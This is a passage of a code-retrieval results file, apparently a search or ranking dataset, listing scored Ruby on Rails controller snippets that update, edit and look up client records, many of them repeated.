Cliente.find(params[:id])\n\n respond_to do |format|\n if @cliente.update_attributes(params[:cliente])\n format.html { redirect_to @cliente, notice: 'Cliente actualizado ^^' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "22f3b03277750aabd31b77acfbcad948", "score": "0.7030873", "text": "def update\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n if @cliente.update_attributes(params[:cliente])\n format.html { redirect_to @cliente, notice: 'Cliente was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f826a6ee773da609f6975119de61904e", "score": "0.7026889", "text": "def edit\n @client = Client.find_by_id(params[:id])\n end", "title": "" }, { "docid": "f7c2d7d9aa28ef3de2154f93ac6a752f", "score": "0.7015379", "text": "def update\n respond_to do |format|\n if @cliente.update(cliente_params)\n format.html { redirect_to @cliente, notice: 'Cliente alterado com sucesso.' }\n format.json { render :show, status: :ok, location: @cliente }\n else\n format.html { render :edit }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a9c5e86837b5e689fbe5af392fbaf961", "score": "0.7011059", "text": "def update\n @acerca_cliente = AcercaCliente.find(params[:id])\n\n respond_to do |format|\n if @acerca_cliente.update_attributes(params[:acerca_cliente])\n format.html { redirect_to @acerca_cliente, notice: 'Acerca cliente was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @acerca_cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "a026d80382756dd284ee6628596f8e46", "score": "0.70051277", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "16714f614b8fe1809e96d03da962e6d9", "score": "0.6993813", "text": "def edit_client (client_id = nil, name = nil, contact = nil, email = nil, password = nil, msisdn = nil, timezone = nil, client_pays = nil, sms_margin = nil, opts={})\n query_param_keys = [:client_id,:name,:contact,:email,:password,:msisdn,:timezone,:client_pays,:sms_margin]\n headerParams = {}\n\n \n \n # set default values and merge with input\n options = {\n :'client_id' => client_id,\n :'name' => name,\n :'contact' => contact,\n :'email' => email,\n :'password' => password,\n :'msisdn' => msisdn,\n :'timezone' => timezone,\n :'client_pays' => client_pays,\n :'sms_margin' => sms_margin\n \n }.merge(opts)\n\n #resource path\n path = \"/edit-client.json\".sub('{format}','json')\n \n # pull querystring keys from options\n queryopts = options.select do |key,value|\n query_param_keys.include? key\n end\n\n # header parameters\n headers = {}\n\n _header_accept = 'application/json'\n if _header_accept != ''\n headerParams['Accept'] = _header_accept\n end \n _header_content_type = ['application/x-www-form-urlencoded']\n headerParams['Content-Type'] = _header_content_type.length > 0 ? _header_content_type[0] : 'application/json'\n\n \n \n headers[:'Authorization'] = @api_key_secret\n\n # http body (model)\n post_body = nil\n \n # form parameters\n form_parameter_hash = {}\n \n \n \n Swagger::Request.new(:PUT, path, {:params=>queryopts,:headers=>headers, :body=>post_body, :form_params => form_parameter_hash }).make\n \n \n end", "title": "" }, { "docid": "8e23c1156717697d6889d841aa7bbad7", "score": "0.6982991", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "8e23c1156717697d6889d841aa7bbad7", "score": "0.6982991", "text": "def set_cliente\n @cliente = Cliente.find(params[:id])\n end", "title": "" }, { "docid": "5b869022df2b6b5b15888ffdd7d65c94", "score": "0.69682527", "text": "def update\r\n @cliente = Cliente.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @cliente.update_attributes(params[:cliente])\r\n format.html { redirect_to @cliente, notice: 'Cliente was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "4394ddf3a406a930a53799d47180ecd6", "score": "0.6964328", "text": "def update\n respond_to do |format|\n if @registro_cliente.update(registro_cliente_params_edit)\n format.html { redirect_to @registro_cliente, notice: 'Cliente was successfully updated.' }\n format.json { render :show, status: :ok, location: @registro_cliente }\n else\n format.html { render :edit }\n format.json { render json: @registro_cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "189bbdf04cda49d26264a2a4ff0b9fef", "score": "0.6961527", "text": "def update\n respond_to do |format|\n if @admin_cliente.update(admin_cliente_params)\n format.html { redirect_to @admin_cliente, notice: 'Cliente Atualizado com Sucesso.' }\n format.json { render :show, status: :ok, location: @admin_cliente }\n else\n format.html { render :edit }\n format.json { render json: @admin_cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "42d08792b3cadd82b373a03594205960", "score": "0.6956633", "text": "def update\n auxiliarCreateUpdate(@venda, @venda.update(cliente_params), 'atualizada', :ok, :edit)\n end", "title": "" }, { "docid": "a672492db3ce0fe6a08142ab337d2568", "score": "0.6945748", "text": "def set_cliente\n @cliente = Cliente.find(params[:cliente_id])\n end", "title": "" }, { "docid": "4b75e7fa7d3cef795d69242cec03e673", "score": "0.69151413", "text": "def update\n respond_to do |format|\n if @client.update(client_edit_params)\n format.html { redirect_to @client, notice: 'Cliente actualizado exitosamente.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e6567ae9e32e31f330089793e2f6cba6", "score": "0.6893871", "text": "def update\n respond_to do |format|\n if @cliente.update(cliente_params)\n format.html { redirect_to @cliente, notice: 'Cliente was successfully updated.' }\n format.json { render :show, status: :ok, location: @cliente }\n else\n format.html { render :edit }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3f1678bb8132922719f580cb786022fd", "score": "0.6882282", "text": "def update\n respond_to do |format|\n if @cliente.update(cliente_params)\n format.html { redirect_to @cliente, notice: 'Cliente atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @cliente }\n else\n format.html { render :edit }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3f1678bb8132922719f580cb786022fd", "score": "0.6882282", "text": "def update\n respond_to do |format|\n if @cliente.update(cliente_params)\n format.html { redirect_to @cliente, notice: 'Cliente atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @cliente }\n else\n format.html { render :edit }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fda842000831326ca256f2c9fd156c42", "score": "0.68765485", "text": "def update\n respond_to do |format|\n if @cliente.update(cliente_params)\n format.html { redirect_to @cliente, notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9251199c28af75ebca0106703d08e2b2", "score": "0.68732184", "text": "def update\n respond_to do |format|\n if @cliente.update(cliente_params)\n format.html { redirect_to @cliente, notice: 'Cliente was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "94b2818e01f5e800d6bf24475da9441b", "score": "0.68696725", "text": "def update\n respond_to do |format|\n if @cliente.update(cliente_params)\n format.html { redirect_to clientes_path, notice: 'Cliente atualizado com sucesso.' }\n \n else\n \n format.html { render :edit }\n \n end\n end\n end", "title": "" }, { "docid": "5a58f1581e8d5f1206d2981288a62f1c", "score": "0.6860128", "text": "def update\n @clientes = Cliente.all\n @sucursales = @direccion.cliente.sucursals.order(:nombre)\n\n respond_to do |format|\n if @direccion.update(direccion_params)\n #@direccion.cliente_id =params[:direccion][:cliente_id]\n #@direccion.sucursal_id =params[:direccion][:sucursal_id]\n @direccion.save!(validate:false)\n format.html { redirect_to @direccion, notice: 'Direccion was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit', :layout => \"layout_2\" }\n format.json { render json: @direccion.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "278fd026893cd253421d7a645ec404fd", "score": "0.68452734", "text": "def update\n respond_to do |format|\n if @descuento_cliente.update(descuento_cliente_params)\n format.html { redirect_to @descuento_cliente, notice: 'Descuento cliente was successfully updated.' }\n format.json { render :show, status: :ok, location: @descuento_cliente }\n else\n format.html { render :edit }\n format.json { render json: @descuento_cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "73e14c1f14f5c0a2f7d225b4265537f9", "score": "0.68429154", "text": "def update\n respond_to do |format|\n if @ventas_cliente.update(ventas_cliente_params)\n format.html { redirect_to @ventas_cliente, notice: 'Cliente was successfully updated.' }\n format.json { render :show, status: :ok, location: @ventas_cliente }\n else\n format.html { render :edit }\n format.json { render json: @ventas_cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9d4c932d5879aa30a62f80ceae5f5ef8", "score": "0.6835235", "text": "def update\n\t\t@admin_client = Admin::Client.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @admin_client.update_attributes(client_params)\n\t\t\t\tformat.html { redirect_to @admin_client, notice: 'Cliente salvo com sucesso.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @admin_client.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "ba15feab1009fa2e5b4915a5ec48b560", "score": "0.6832618", "text": "def update\n respond_to do |format|\n if @tb_cliente.update(tb_cliente_params)\n format.html { redirect_to @tb_cliente, notice: 'Tb cliente was successfully updated.' }\n format.json { render :show, status: :ok, location: @tb_cliente }\n else\n format.html { render :edit }\n format.json { render json: @tb_cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "97abc3608576865a2e92ab08aab447c1", "score": "0.6811422", "text": "def update\n @usuario_cliente = UsuarioCliente.find(params[:id])\n respond_to do |format|\n if @usuario_cliente.update(usuario_cliente_params)\n format.html { redirect_to @usuario_cliente, notice: 'Usuario cliente was successfully updated.' }\n format.json { render :show, status: :ok, location: @usuario_cliente }\n else\n format.html { render :edit }\n format.json { render json: @usuario_cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09911eb6e00435bb6e7667787f68d2e0", "score": "0.68080646", "text": "def update\n respond_to do |format|\n if @cliente.update(cliente_params)\n format.html { redirect_to clientes_url({:page => cookies[:current_page]}), notice: 'Cliente was successfully updated.' }\n format.json { head :no_content }\n else\n @listadeprecios = current_user.empresa.listadeprecios.load\n format.html { render action: 'edit' }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d514c63376bef23853d4bb5d6aaf49b6", "score": "0.6799484", "text": "def set_descuento_cliente\n @descuento_cliente = DescuentoCliente.find(params[:id])\n end", "title": "" }, { "docid": "c3c9aab7b87084c80afa0257510e086c", "score": "0.67738605", "text": "def update\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to @client, notice: 'Cliente Editado.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bd88da9d683495d336b40aa9081b5a49", "score": "0.6772602", "text": "def update\n if @cliente.update(cliente_params)\n render :show, status: :ok, location: @cliente\n else\n render json: @cliente.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "b1030ff3a78d8902ca0ef02d8e229bf3", "score": "0.67721236", "text": "def set_datos_del_cliente\n @datos_del_cliente = DatosDelCliente.find(params[:id])\n end", "title": "" }, { "docid": "341511427fb2a19808d58287c103ecbf", "score": "0.6770933", "text": "def edit_client\n prompt = TTY::Prompt.new(symbols: {marker: \">\"})\n system('clear')\n puts \"Editing client #{@name} - ID #{@id}\\n\\n\\n\"\n @name = prompt.ask(\"Name:\", default: @name) do |q|\n q.validate(/^[\\w ]+$/)\n q.messages[:valid?] = \"Invalid Name, must be alphanumeric\"\n end\n @phone = prompt.ask(\"Phone number:\", default: @phone) do |q|\n q.validate(/^\\d+$/)\n q.messages[:valid?] = \"Invalid Phone number, must be numeric\"\n end\n @email = prompt.ask(\"Email address:\", default: @email) do |q|\n q.validate(/^[\\w\\-\\.]+@([\\w\\-]+\\.)+[\\w\\-]{2,4}$/)\n q.messages[:valid?] = \"Invalid Email address format (must be something@domain.tld)\"\n end\n save()\n end", "title": "" }, { "docid": "edba066e08ae4b0553d3d68528607fe3", "score": "0.676647", "text": "def update\n @cliente = Cliente.find(params[:id])\n flash[:notice] = 'Cliente foi atualizado com sucesso.' if @cliente.update_attributes(cliente_params)\n respond_with @cliente, :location => edit_admin_cliente_path(@cliente)\n end", "title": "" }, { "docid": "4442a9d0450830989555e1cdd789b836", "score": "0.6744441", "text": "def edit_user\n\n result = CacheManagement::ClientApiCredentials.new([params[:client_id]]).fetch[params[:client_id]]\n render_api_response(\n validation_error(\n 'uc_cu_2',\n 'invalid_api_params',\n ['invalid_client_id'],\n GlobalConstant::ErrorAction.default\n )\n ) if result.blank?\n\n # Create OST Sdk Obj\n ost_sdk = OSTSdk::Saas::Services.new(\n api_key: result[:api_key],\n api_secret: result[:api_secret],\n api_base_url: GlobalConstant::SaasApi.v1dot1_base_url,\n api_spec: false\n )\n\n @ost_sdk_obj = ost_sdk.services.users\n\n service_response = @ost_sdk_obj.edit({name: params[:name], id: params[:address_uuid]})\n\n render_api_response(service_response)\n\n end", "title": "" }, { "docid": "cf177713c6c0c5a32a78d906ed3e0073", "score": "0.67403585", "text": "def update\n respond_to do |format|\n if @cliente.update(cliente_params)\n format.html { redirect_to @cliente, notice: 'EL cliente fue exitosamente actualizado.' }\n format.json { render :show, status: :ok, location: @cliente }\n else\n format.html { render :edit }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dd4ae5a84ca4816b0d51545cb64d2d5f", "score": "0.67364055", "text": "def update\n @cadastro_cliente = CadastroCliente.find(params[:id])\n\n respond_to do |format|\n if @cadastro_cliente.update_attributes(params[:cadastro_cliente])\n format.html { redirect_to(@cadastro_cliente, :notice => 'Cadastro cliente was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cadastro_cliente.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "19c0ad7f41af373d45f3e6194ae01703", "score": "0.6735117", "text": "def update\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n if @cliente.update_attributes(params[:cliente])\n flash[:notice] = nil\n format.html { redirect_to(clientes_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cliente.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a7085ea1a219857efddacb89c74a2aa1", "score": "0.672647", "text": "def update\n respond_to do |format|\n if @cliente.update(cliente_params)\n format.html { redirect_to @cliente, notice: 'El cliente fue acttualizado exitosamente' }\n format.json { render :show, status: :ok, location: @cliente }\n else\n format.html { render :edit }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e77ea90f4e8c0bb1fd63bf51addffcd8", "score": "0.6715339", "text": "def edit\n # Se busca el cliente\n @client = Client.find(params[:id])\n add_breadcrumb @client.name, client_path(@client)\n add_breadcrumb I18n.t('client.edit'), :controller => \"clients\", :action => \"edit\", :id => @client.id\n end", "title": "" }, { "docid": "457d70fe139b8dc3a2dd46ed75ccbb78", "score": "0.6710261", "text": "def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n flash[:notice] = 'Konto klienta zostało zapisane poprawnie.'\n format.html { redirect_to([:admin, @client]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @client.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1b8754f09fe14038a59a8bbae94233c2", "score": "0.6696245", "text": "def update\n respond_to do |format|\n @client.email = params[:email] if params[:email].present?\n @client.phone_number = params[:phone_number] if params[:phone_number].present?\n @client.celphone = params[:celphone] if params[:celphone].present? \n if @client.update(client_params) \n format.html { redirect_to clients_path, notice: 'Cliente alterado com sucesso.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cd65172b07306038abd9af1d3884afc5", "score": "0.66839325", "text": "def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client]) and \n @client.usuario.update_attributes(params[:client][:usuario_attributes])\n format.html { redirect_to [:admin, @client], notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ac3c960fc32fe87200bef8112d297379", "score": "0.66811967", "text": "def update\n @listaprecio = Listaprecio.find(params[:id])\n\n if (params[:listaprecio][:cliente_ids] == nil)\n params[:listaprecio][:cliente_ids] = []\n end\n\n respond_to do |format|\n if @listaprecio.update_attributes(params[:listaprecio])\n format.html { redirect_to @listaprecio, :notice => 'Listaprecio was successfully updated.' }\n format.json { render json: @listaprecio }\n else\n format.html { render :action => \"edit\" }\n format.json { render json: @listaprecio.errors }\n end\n end\n end", "title": "" }, { "docid": "06d7ab98d45124a974432960858da262", "score": "0.667194", "text": "def update\n @cliente_juridico = ClienteJuridico.find(params[:id])\n\n respond_to do |format|\n if @cliente_juridico.update_attributes(params[:cliente_juridico])\n format.html { redirect_to @cliente_juridico, notice: 'Cliente juridico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cliente_juridico.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a579c3a3099a4ba8760cba17874b2109", "score": "0.6670573", "text": "def set_cliente_recepcion\n @cliente_recepcion = ClienteRecepcion.find(params[:id])\n end", "title": "" }, { "docid": "2dbbbfed8f9376983e0b963912b28398", "score": "0.6669932", "text": "def set_pedido_cliente\n @pedido_cliente = PedidoCliente.find(params[:id])\n end", "title": "" }, { "docid": "8c1648359828ac391c533809398814c5", "score": "0.6669888", "text": "def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to clients_path, notice: 'Clientul a fost updatat cu success.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "39d06e0a6515cf24e41ff286f70b6cf1", "score": "0.6666571", "text": "def update\n respond_to do |format|\n if @pedido_cliente.update(pedido_cliente_params)\n format.html { redirect_to @pedido_cliente, notice: \"Pedido cliente was successfully updated.\" }\n format.json { render :show, status: :ok, location: @pedido_cliente }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @pedido_cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8728282391de2104b2c5376c99a4dcda", "score": "0.66660154", "text": "def update\n respond_to do |format|\n if @registro_cliente_servicio.update(registro_cliente_servicio_params)\n format.html { redirect_to @registro_cliente_servicio, notice: 'Cliente servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @registro_cliente_servicio }\n else\n format.html { render :edit }\n format.json { render json: @registro_cliente_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "39abc9246d2cfc7dc13ae80ec269719b", "score": "0.6658647", "text": "def update\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to @client, notice: 'Cliente atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "70b9962b342c35be78ca083d1448a877", "score": "0.66555434", "text": "def update\n respond_to do |format|\n if @m_cliente.update(m_cliente_params)\n format.html { redirect_to @m_cliente, notice: 'M cliente was successfully updated.' }\n format.json { render :show, status: :ok, location: @m_cliente }\n else\n format.html { render :edit }\n format.json { render json: @m_cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "457960614e616ac9a18633ca0ceb0218", "score": "0.66535056", "text": "def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(client_params)\n format.html { redirect_to(@client, :notice => 'Cliente atualizado com sucesso.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @client.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3e1ebac50e9f751f2d38c49513e78936", "score": "0.66513246", "text": "def set_usuario_cliente\n @usuario_cliente = UsuarioCliente.find(params[:id])\n end", "title": "" }, { "docid": "70a4ae4562f00dced568ed14322baf9e", "score": "0.66501576", "text": "def set_tb_cliente\n @tb_cliente = TbCliente.find(params[:id])\n end", "title": "" }, { "docid": "9f1b0f95504ab529a80d2227ed5b15a6", "score": "0.6640846", "text": "def update\n @client = Client.find(params[:id])\n if current_user.id != @client.counselor_id && current_user.admin? == false\n redirect_to root_path, alert: 'Admins only!'\n end\n\n # only the admin can change the user the client is assigned to\n respond_to do |format|\n if (@client.counselor_id != params[:client][:counselor_id] && !@client.counselor_id.nil?)\n @client.previous_counselor.push(User.find(@client.counselor_id).name)#if so add counselor name\n end\n if @client.update(client_params)\n format.html { redirect_to @client, notice: 'Client was successfully updated.' }\n format.json { render :show, status: :ok, location: @client }\n else\n @users = User.all # used in client->edit @users.collect\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "95ea56ef6da7efb08642692932b6525c", "score": "0.6639531", "text": "def update\n @tdc = Tdc.find(params[:id])\n params[:tdc][:cliente_id] = @tdc.cliente_id\n respond_to do |format|\n if @tdc.update_attributes(params[:tdc])\n format.html { redirect_to @tdc, notice: 'Tdc was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tdc.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "263cee4d83acf529eae1dd9c7eb74fa5", "score": "0.66393495", "text": "def update\n respond_to do |format|\n if @datos_del_cliente.update(datos_del_cliente_params)\n format.html { redirect_to @datos_del_cliente, notice: 'Datos del cliente was successfully updated.' }\n format.json { render :show, status: :ok, location: @datos_del_cliente }\n else\n format.html { render :edit }\n format.json { render json: @datos_del_cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "67898ecd83e623703acb94fc11e15429", "score": "0.6638031", "text": "def update\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to @client, notice: 'Cliente atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7f9c5f423c22092b235ba73ac11dc277", "score": "0.6633699", "text": "def update\n respond_to do |format|\n if @cliente.update_attributes(params[:cliente])\n format.html { redirect_to(@cliente, :notice => 'Cliente was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cliente.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b7cbbe210f06e96d94e30c97960d08d4", "score": "0.6628034", "text": "def update\n @client = Client.find(params[:id])\n cl = params[:client]\n nom = cl[\"nom\"]\n nom.strip!\n nom.capitalize!\n params[:client][:nom] = nom\n respond_to do |format|\n if @client.update_attributes(params[:client])\n flash[:notice] = 'Client was successfully updated.'\n format.html { redirect_to(@client) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @client.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1860c7168c39fc4b6493b87f99412521", "score": "0.6619371", "text": "def set_ventas_cliente\n @ventas_cliente = Ventas::Cliente.find(params[:id])\n end", "title": "" } ]
24db2d1965983eab20309927dd325b4c
Clears the control construct tree cache
[ { "docid": "b7918361060780e56f05a98a28c70dd3", "score": "0.65944153", "text": "def clear_cache\n ccs.each(&:clear_cache)\n end", "title": "" } ]
[ { "docid": "4d6997a529c29c576bc36f9a4a346af4", "score": "0.67096585", "text": "def clear_cache\n begin\n unless self.parent_id.nil?\n if self.parent_type == 'CcCondition'\n $redis.ping\n # puts 'Connecting to Redis...'\n # puts \"Id: #{self.id}\"\n # puts \"Parent_id: #{self.parent_id}\"\n # puts \"Parent_type: #{self.parent_type}\"\n $redis.hdel 'construct_children:CcCondition:0', self.parent_id\n $redis.hdel 'construct_children:CcCondition:1', self.parent_id\n else\n $redis.ping\n # puts 'Connecting to Redis...'\n # puts \"Id: #{self.id}\"\n # puts \"Parent_id: #{self.parent_id}\"\n # puts \"Parent_type: #{self.parent_type}\"\n $redis.hdel \"construct_children:#{self.parent_type}\", self.parent_id\n end\n end\n $redis.hdel 'parents', self.id\n $redis.hdel 'is_top', self.id\n rescue => err\n Rails.logger.warn \"Cannot connect to Redis [Control Construct] -> Error: '#{err}'\"\n end\n end", "title": "" }, { "docid": "3c42ffd4ad3caeb9bf31804da94ff082", "score": "0.6682751", "text": "def _clear_cache\n @cache_parent.clear\n end", "title": "" }, { "docid": "f4bc03631e96fd1cffaa87c87281dabe", "score": "0.6675943", "text": "def clear\n @root = nil\n end", "title": "" }, { "docid": "298cd6bba5326f033ae0af70349be95a", "score": "0.6619401", "text": "def clear_cached_values\n @chocoversion = nil\n @compiled_choco = nil\n end", "title": "" }, { "docid": "f5d8a9d56485b0970b5dc5a12ca7ef0f", "score": "0.66186607", "text": "def reset\n clear_cache\n @class_hierarchy = nil\n @ontology = nil\n @known_classes = nil\n end", "title": "" }, { "docid": "28c9648f55b91fc2eab32d452f361d62", "score": "0.65849286", "text": "def clear!\n\t\t\tself.tree = []\n\t\t\tself.current = tree\n\t\tend", "title": "" }, { "docid": "8dd2b9391377cc71b2a1c620cbd26005", "score": "0.6428073", "text": "def clear\n @nodes.clear\n @cache.clear\n @root_address = SpaceTreeNode::create(self).node_address\n end", "title": "" }, { "docid": "694791fc53313e0ac643f2875ba749f1", "score": "0.6386496", "text": "def clear_nodes\n\t\t\t@tree = []\n\t\t\t@node_stack = [ @tree ]\n\t\tend", "title": "" }, { "docid": "0f86cc13b2ce05105b035c3e7a0aba82", "score": "0.6302582", "text": "def clear!\n context_manager.clear!\n breadcrumbs.clear!\n end", "title": "" }, { "docid": "815611dce66a3a0782a5837681cbd895", "score": "0.62693983", "text": "def clear_levels_cache!\n @_levels_cache = nil\n end", "title": "" }, { "docid": 